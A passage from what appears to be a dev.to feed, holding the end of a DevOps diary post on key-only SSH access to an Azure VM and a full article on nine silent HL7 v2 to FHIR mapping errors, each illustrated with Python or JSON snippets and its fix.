&lt;p&gt;So the chain from "Linux VM, key supplied, no password" to "password authentication off" is consistent with the documentation rather than stated by it. Which I would rather say than present an inference as a fact.&lt;/p&gt;

&lt;p&gt;The consequence holds regardless: there is no password to guess, so the VM is not exposed to credential stuffing against port 22 even with the NSG allowing SSH from anywhere. Passing &lt;code&gt;--admin-password&lt;/code&gt; instead would have left password authentication on with port 22 open to the internet, which is the combination behind most compromised cloud VMs. It also means losing the private key locks you out, and recovery runs through &lt;code&gt;az vm user update&lt;/code&gt; or Run Command.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the docs recommend
&lt;/h3&gt;

&lt;p&gt;The verification is the part I would reuse. Configuration and behaviour are different claims and need separate checks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PasswordAuthDisabled: true          &amp;lt;- configuration
KeyPaths: [.../authorized_keys]     &amp;lt;- configuration

ssh -o BatchMode=yes ... 'whoami'   -&amp;gt; azureuser     &amp;lt;- behaviour
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;az vm show&lt;/code&gt; proves Azure was asked for the right thing. The SSH proves the guest accepted the key. And &lt;code&gt;BatchMode=yes&lt;/code&gt; is what makes the second one mean "password-less" rather than just "worked": without it, a successful login is ambiguous, because ssh could have fallen back to a prompt that got satisfied somehow. With it, a prompt is impossible, so the key is the only explanation.&lt;/p&gt;

&lt;p&gt;One last distinction, because it is easy to assume otherwise. This key is not an Azure resource. Day 1 created a &lt;code&gt;Microsoft.Compute/sshPublicKeys&lt;/code&gt; object, reusable across VMs by name. Today's key exists only on the client machine and as a copy inside the VM's &lt;code&gt;authorized_keys&lt;/code&gt;, and &lt;code&gt;az sshkey list&lt;/code&gt; would return nothing. Both give working SSH; only one gives you something you can refer to later.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Two files, two directions, and almost every SSH problem I have had is one of them in the wrong place.&lt;/p&gt;

&lt;p&gt;The Azure task made it explicit by seeding &lt;code&gt;authorized_keys&lt;/code&gt; and nothing else, so that a naive "is there a key here" check would say yes and be wrong. The Jenkins task made the same point by needing an outbound identity on one server and an inbound entry on another, and my own notes then failed to account for one of the two hops the job must have used.&lt;/p&gt;

&lt;p&gt;The key size is the smaller finding and the more embarrassing one. I used &lt;code&gt;-b 4096&lt;/code&gt; three days ago and &lt;code&gt;-b 2048&lt;/code&gt; here, in both cases without checking that the RSA default is 3072. One was an upgrade, one was a downgrade, and neither was a decision.&lt;/p&gt;

&lt;p&gt;So here is the Day 74 question. In the SSH setups you maintain, which machine holds an identity it no longer needs, and which one is still trusting a key whose owner left?&lt;/p&gt;

&lt;p&gt;Day 74 down. Twenty-six to go.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>jenkins</category>
      <category>azure</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Part 3: Nine Ways an HL7 v2 to FHIR Mapping Goes Quietly Wrong</title>
      <dc:creator>Nnamdi Felix Ibe</dc:creator>
      <pubDate>Wed, 28 Oct 2026 19:26:21 +0000</pubDate>
      <link>https://dev.to/ndcodes/nine-ways-an-hl7-v2-to-fhir-mapping-goes-quietly-wrong-2gd4</link>
      <guid>https://dev.to/ndcodes/nine-ways-an-hl7-v2-to-fhir-mapping-goes-quietly-wrong-2gd4</guid>
      <description>&lt;p&gt;Part 1 built the translation layer. Part 2 built the pipeline that checks it. This part is about the translation itself, which turns out to be where the interesting failures live.&lt;/p&gt;

&lt;p&gt;None of what follows threw an exception. Every one produced a FHIR Bundle that a server would accept, containing the wrong thing. That is the particular danger of mapping work: the output is always well-formed, so the only way to find the problems is to run the mapper and look at what comes out.&lt;/p&gt;

&lt;p&gt;I found nine. One of them stores a positive culture result as the number zero, and three of the nine I did not find at all: readers of Part 1 did.&lt;/p&gt;

&lt;h2&gt;
  
  
  The problem
&lt;/h2&gt;

&lt;p&gt;A mapping is a long list of small decisions, and each one looks obviously right while you are making it. PID-5 is the name. PID-7 is the date of birth. You write the line, the test passes, you move on.&lt;/p&gt;

&lt;p&gt;What makes it dangerous in a clinical setting is that the failures are silent and plausible. A missing middle name is not an error. A date of birth that vanished is not an error. The Bundle validates, the server returns 200, and the wrong record is now in the system of record with every appearance of being right.&lt;/p&gt;

&lt;p&gt;So this week I stopped reading the mapper and started feeding it things.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I found
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffkdtuj9wqfehd6x9y42q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffkdtuj9wqfehd6x9y42q.png" alt="A table of nine mapping behaviours, each failing before the change and passing after" width="800" height="744"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nine behaviours, each checked by running the real mapper on a real message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;behaviour                                before   after
--------------------------------------------------------
middle name kept                          FAIL     pass
partial date YYYYMM kept                  FAIL     pass
dob with tz offset kept                   FAIL     pass
escape sequence decoded                   FAIL     pass
fullUrls are real UUIDs                   FAIL     pass
patient resend updates, not duplicates    FAIL     pass
text result not made numeric              FAIL     pass
no JSON null in the resource              FAIL     pass
sex A maps to other, per HL7              FAIL     pass
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  A positive culture result became zero
&lt;/h3&gt;

&lt;p&gt;This is the one I would want to know about if it were my trust.&lt;/p&gt;

&lt;p&gt;An OBX segment carries a result. OBX-2 says what type the value is: &lt;code&gt;NM&lt;/code&gt; for a number, &lt;code&gt;ST&lt;/code&gt; for text, &lt;code&gt;CE&lt;/code&gt; for a coded entry. The mapper ignored OBX-2 entirely and tried to turn every value into a &lt;code&gt;valueQuantity&lt;/code&gt;. When the text would not parse as a number, it did this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;unit&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;units&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;comparator&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_raw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So a microbiology result of &lt;code&gt;POSITIVE&lt;/code&gt; came out as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"valueQuantity"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"value"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"unit"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"comparator"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"_raw"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"POSITIVE"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmbe4betkieh55jmm3xdf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmbe4betkieh55jmm3xdf.png" alt="The POSITIVE culture result mapped before and after: valueQuantity 0 against valueString POSITIVE" width="800" height="480"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A qualitative result became the number zero. Anything downstream reading &lt;code&gt;valueQuantity.value&lt;/code&gt;, a chart, a rule, a dashboard, sees a measurement of nought. &lt;code&gt;_raw&lt;/code&gt; is not a FHIR element either. It was invented, so a conformant server is free to reject the resource or drop the property, and with it the only surviving copy of the actual result.&lt;/p&gt;

&lt;p&gt;The fix is to read OBX-2 and pick the matching &lt;code&gt;value[x]&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;vt&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_CODED_VALUE_TYPES&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;valueCodeableConcept&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;text&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;vt&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_NUMERIC_VALUE_TYPES&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;vt&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;quantity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;value&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;valueString&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="bp"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;valueString&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;POSITIVE&lt;/code&gt; is now &lt;code&gt;{"valueString": "POSITIVE"}&lt;/code&gt;. A segment that claims &lt;code&gt;NM&lt;/code&gt; and carries text also becomes a string, because inventing a number is the failure mode I am trying to get away from.&lt;/p&gt;

&lt;h3&gt;
  
  
  Every admission created a new patient, and the obvious fix is the wrong one
&lt;/h3&gt;

&lt;p&gt;The Bundle posted the Patient like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"POST"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Patient"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An unconditional create. Send the same admission twice, get two patients. Resend a day's traffic after an outage, get a duplicate for every message.&lt;/p&gt;

&lt;p&gt;This one came from a reader of Part 1. Anjan Kumar Gundaboina asked on LinkedIn whether the mapper was idempotent, or whether a resend produced a duplicate Patient. It produced a duplicate.&lt;/p&gt;

&lt;p&gt;The obvious fix is a conditional create. FHIR has &lt;code&gt;Bundle.entry.request.ifNoneExist&lt;/code&gt;, defined as "Instruct the server not to perform the create if a specified resource already exists". One match returns 200 and creates nothing, so a resend stops duplicating.&lt;/p&gt;

&lt;p&gt;That is not enough, because an A08 is a patient update message. If the patient exists and the message carries a corrected date of birth, a conditional create looks at the one match and does nothing at all. The duplicate is gone and so is the correction.&lt;/p&gt;

&lt;p&gt;A conditional update handles both. FHIR defines it as &lt;code&gt;PUT [base]/[type]?[search parameters]&lt;/code&gt;, where with no matches "The server creates the resource", with one match "The server performs the update against the matching resource", and with several it returns 412.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"method"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"PUT"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"url"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Patient?identifier=https://fhir.nhs.uk/Id/nhs-number|9000000009"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When there is no NHS number, there is no condition and it stays a plain create. A condition that matches everything is worse than none: it would merge every patient without an NHS number into one record.&lt;/p&gt;

&lt;h3&gt;
  
  
  The dates it threw away
&lt;/h3&gt;

&lt;p&gt;PID-7 is a time stamp, not a date, and senders fill in as much as they have. The mapper accepted &lt;code&gt;YYYYMMDD&lt;/code&gt; and returned nothing for anything else.&lt;/p&gt;

&lt;p&gt;Readers raised this one too. Lee Wilson pointed out that in many EHRs only the year of birth is known, and Anjan named the partial-date fallback as exactly the kind of silent failure he would want a dashboard on.&lt;/p&gt;

&lt;p&gt;FHIR is more accommodating than the mapper was. It defines &lt;code&gt;date&lt;/code&gt; as "A date, or partial date (e.g. just year or year + month)" in the format "YYYY, YYYY-MM, or YYYY-MM-DD".&lt;/p&gt;

&lt;p&gt;So &lt;code&gt;198001&lt;/code&gt; should be &lt;code&gt;1980-01&lt;/code&gt;. It was becoming nothing at all. So was &lt;code&gt;19800101120000+0100&lt;/code&gt;, a perfectly ordinary full time stamp with a time zone offset, because the offset did not match any of the three formats being tried. A date of birth with a time zone on it was silently dropped.&lt;/p&gt;

&lt;p&gt;Both now map. The offset is stripped, because a FHIR date "SHALL be no time zone".&lt;/p&gt;

&lt;h3&gt;
  
  
  The names it mangled
&lt;/h3&gt;

&lt;p&gt;HL7 reserves five characters as delimiters and defines five escape sequences so they can appear inside a field anyway. &lt;code&gt;\T\&lt;/code&gt; is the subcomponent separator, so &lt;code&gt;O\T\BRIEN&lt;/code&gt; is how the wire carries O&amp;amp;Brien. The mapper stored the escape sequence.&lt;/p&gt;

&lt;p&gt;One subtlety is worth getting right. &lt;code&gt;\E\&lt;/code&gt; stands for the escape character itself, so decoding has to be a single pass. Replace &lt;code&gt;\F\&lt;/code&gt; first and then &lt;code&gt;\E\&lt;/code&gt;, and the sequence &lt;code&gt;\E\F\E\&lt;/code&gt;, which means the literal text &lt;code&gt;\F\&lt;/code&gt;, becomes a field separator instead. Sequences outside the five, like &lt;code&gt;\H\&lt;/code&gt;, are passed through rather than stripped.&lt;/p&gt;

&lt;h3&gt;
  
  
  The middle name, and the test that approved of losing it
&lt;/h3&gt;

&lt;p&gt;PID-5 is &lt;code&gt;DOE^JOHN^A&lt;/code&gt;. Component 3 is the middle name. FHIR puts given and middle names together in &lt;code&gt;given&lt;/code&gt;, in order.&lt;/p&gt;

&lt;p&gt;The mapper read component 2 and stopped, so &lt;code&gt;A&lt;/code&gt; was dropped. That is the least serious of the nine and the most instructive, because of what I found in the test file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;patient&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;given&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;JOHN&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The test asserted the bug. It had passed since the day it was written, because it was written by reading what the mapper did rather than what the segment said. A green suite told me the mapping was right, and what it actually told me was that the mapping had not changed.&lt;/p&gt;

&lt;h3&gt;
  
  
  The identifiers that were not identifiers
&lt;/h3&gt;

&lt;p&gt;Each Bundle entry had a &lt;code&gt;fullUrl&lt;/code&gt; like &lt;code&gt;urn:uuid:patient-1&lt;/code&gt;. FHIR's &lt;code&gt;uuid&lt;/code&gt; type is "A UUID (aka GUID) represented as a URI", meaning RFC 4122. &lt;code&gt;patient-1&lt;/code&gt; is not one. HAPI accepted them, which is why it survived; a stricter server need not. They are real UUIDs now.&lt;/p&gt;

&lt;h3&gt;
  
  
  Nulls where FHIR forbids them
&lt;/h3&gt;

&lt;p&gt;When PID-7 would not parse at all, &lt;code&gt;birthDate&lt;/code&gt; came out as &lt;code&gt;None&lt;/code&gt; and serialised to &lt;code&gt;"birthDate": null&lt;/code&gt;. FHIR's JSON rules say properties "never have null values" and to "Omit a property if it is empty".&lt;/p&gt;

&lt;p&gt;Testing that turned up a second case: a PID with no name at all produced &lt;code&gt;"family": ""&lt;/code&gt;. The same page says "String property values can never be empty".&lt;/p&gt;

&lt;p&gt;Both are now pruned on the way into the Bundle, along with empty arrays and objects. Zero and &lt;code&gt;false&lt;/code&gt; survive the pruning, because a quantity of 0 is a real measurement and that is the mistake this article started with.&lt;/p&gt;

&lt;h3&gt;
  
  
  The answer I said did not exist
&lt;/h3&gt;

&lt;p&gt;I had written PID-8 up as an open question. HL7 table 0001 carries &lt;code&gt;A&lt;/code&gt; for ambiguous and &lt;code&gt;N&lt;/code&gt; for not applicable, FHIR's &lt;code&gt;administrative-gender&lt;/code&gt; has only &lt;code&gt;male&lt;/code&gt;, &lt;code&gt;female&lt;/code&gt;, &lt;code&gt;other&lt;/code&gt; and &lt;code&gt;unknown&lt;/code&gt;, and I concluded there was no clean target and left the mapper sending both to &lt;code&gt;unknown&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then Dalisay Giffard suggested on LinkedIn that I check the PID-8 mapping, because administrative sex has a different meaning to gender. The field held up: FHIR R4 defines &lt;code&gt;Patient.gender&lt;/code&gt; as administrative gender, and that is where HL7's v2-to-FHIR guide puts PID-8. The codes did not. Checking them properly, I found that HL7 publishes a concept map for exactly this, in the v2-to-FHIR implementation guide. It sends &lt;code&gt;A&lt;/code&gt; to &lt;code&gt;other&lt;/code&gt; and &lt;code&gt;N&lt;/code&gt; to &lt;code&gt;other&lt;/code&gt;, and rates both "is equivalent to".&lt;/p&gt;

&lt;p&gt;Which is obviously right once you see it. &lt;code&gt;unknown&lt;/code&gt; says we do not know. The sender did know; the answer was simply neither male nor female. I had been treating a recorded answer as a missing one, and I had reasoned my way to a conclusion the standard had already settled in a table I had not looked for.&lt;/p&gt;

&lt;h2&gt;
  
  
  The map was not the territory
&lt;/h2&gt;

&lt;p&gt;There is a &lt;code&gt;docs/hl7-fhir-mapping.md&lt;/code&gt; in the repo, a careful table of HL7 fields and their FHIR targets. I checked each row against the running mapper. Three described mappings that do not exist: PID-11 to &lt;code&gt;Patient.address&lt;/code&gt;, RXE-4 to &lt;code&gt;dosageInstruction&lt;/code&gt;, RXE-13 to &lt;code&gt;requester&lt;/code&gt;. It also called &lt;code&gt;_raw&lt;/code&gt; an extension, which gave an invented property the air of deliberate design.&lt;/p&gt;

&lt;p&gt;That is three weeks running where the most useful finding was a document describing a system nobody had checked. Week 2 it was a security scanner with no rules loaded. This week a mapping table describing a mapper I had not written.&lt;/p&gt;

&lt;p&gt;The rewritten version says "not mapped" where that is the truth, and every row was produced by running the thing.&lt;/p&gt;

&lt;h2&gt;
  
  
  What readers found that I have not fixed yet
&lt;/h2&gt;

&lt;p&gt;Part 1 and Part 2 are public, and so is the repo, which means the mapping has had more eyes on it than mine. Several more things came back that are not in this week's change, named here so they do not quietly disappear.&lt;/p&gt;

&lt;p&gt;PID-3, raised by Kevin Mayfield, Ian Haywood and Lee Wilson. PID-3 reads only CX-1 and CX-4. The CX-5 identifier type code, &lt;code&gt;NH&lt;/code&gt; or &lt;code&gt;MR&lt;/code&gt;, is dropped, there is no &lt;code&gt;use&lt;/code&gt;, and every non-NHS identifier lands in one &lt;code&gt;local-patient-identifier&lt;/code&gt; system with no assigner, so medical record numbers from two different trusts collide. The &lt;a href="https://nw-gmsa.github.io/en/hl7v2.html#pid" rel="noopener noreferrer"&gt;North West GMSA HL7 v2 guide&lt;/a&gt; treats CX-1, CX-4 and CX-5 as mandatory and uses the ODS code as the assigning authority. My fixture uses &lt;code&gt;GENERAL_HOSP&lt;/code&gt;, which is not an ODS code. Ian's warning was the practical one: unless the namespace carries through, you'll have fun later when another source uses the same ID. Kevin added that the MRN system should be a URI or an OID, that EPR vendors and trusts have each made their own choice, and that his organisation uses a URI.&lt;/p&gt;

&lt;p&gt;Replay ordering, which follows from Anjan's question. Now that writes update rather than create, replaying an older dead-lettered message after a newer one would overwrite newer data with older. The fix I have in mind is to check MSH-7 against what was last applied, at the point of the write. Using the NHS number as an SQS FIFO message group ID orders live traffic but does nothing for a replay out of the dead-letter folder.&lt;/p&gt;

&lt;p&gt;Field-level failures are silent, which Anjan asked about directly. Only a whole-message parse failure dead-letters. A single field that fails to map produces no flag, no metric and no log line, which is how all nine of these survived.&lt;/p&gt;

&lt;p&gt;No canonical model, which Mitchel Coon asked about. The mapper goes straight from segments to FHIR resources, with no intermediate representation, so every quirk is handled inline. HL7's own v2-to-FHIR guide maps directly too, so this is defensible, but it is why the fixes above are scattered across the file rather than sitting in one place.&lt;/p&gt;

&lt;p&gt;Lee also pointed out that the NHS number is not guaranteed, that address fields are often misused, and that phone fields can hold free text like "don't call after 6pm". Without an NHS number the Patient falls back to a plain create, so those patients still duplicate. PID-11 and PID-13 are not mapped at all yet, so the free text is a problem waiting for whoever maps them.&lt;/p&gt;

&lt;h2&gt;
  
  
  The one thing still open
&lt;/h2&gt;

&lt;p&gt;PID-8 is settled and the duplicates are fixed. One judgement call is left, and I would rather leave it visible than decide it quietly in code.&lt;/p&gt;

&lt;p&gt;The Encounter has no identifier and no period, so a resent admission duplicates it exactly the way the Patient used to.&lt;/p&gt;

&lt;p&gt;Mustafa Erbay made the right suggestion in the comments on Part 1 here on dev.to: use PV1-19, the visit number, rather than building a composite key out of the fields that happen to be present. It is the natural identity for a visit and it is what the segment is for. The reason it is not in this week's pull request is the case he and I did not settle, which is what to do when PV1-19 is absent, since the standard does not require it. A conditional create with an empty condition matches every Encounter that also lacks a visit number and merges them, which is a worse failure than the duplicates I have now. So the duplicates stay until the absence case has an answer.&lt;/p&gt;

&lt;h2&gt;
  
  
  Worth stealing
&lt;/h2&gt;

&lt;p&gt;Feed the mapper, don't read it. Every one of these nine produced valid output. Reading the code tells you what it says. Running it tells you what it does, and in mapping work those come apart constantly.&lt;/p&gt;

&lt;p&gt;Write the test from the specification, not from the output. The middle-name test passed for months because it was written by running the code and pasting the result. A test written from PID-5's definition would have failed on day one.&lt;/p&gt;

&lt;p&gt;Check the mapping document against the mapper. A mapping table is the thing colleagues trust most and verify least, because it reads like a specification when it is actually a description, and descriptions drift.&lt;/p&gt;

&lt;p&gt;Look for the concept map before you reason from first principles. I decided PID-8 had no clean FHIR target and wrote that conclusion into a document. HL7 had already published the answer as a table. The standards bodies have done more of this work than it is comfortable to assume.&lt;/p&gt;

&lt;p&gt;Let the message decide the shape. OBX-2 exists precisely to tell you what kind of value you are holding. Guessing with &lt;code&gt;float()&lt;/code&gt; and falling back to zero is how a culture result becomes a number.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where AI helps here, and where it doesn't
&lt;/h2&gt;

&lt;p&gt;The fixes were quick to write once I knew what was wrong. The escape decoder, the date precision logic, the OBX-2 branch: all small, well-specified, mechanical.&lt;/p&gt;

&lt;p&gt;Finding them was a different activity, and it was not reading. It was constructing awkward messages, running them through, and looking at the JSON. A patient with a middle initial. A date of birth with a time zone. A name with an ampersand. A culture result that says POSITIVE. None of those are exotic, and every one of those defects is invisible in a code review, because each line is individually reasonable.&lt;/p&gt;

&lt;p&gt;That is now three weeks where running the thing found what reading it could not. I am going to stop describing it as a surprise.&lt;/p&gt;

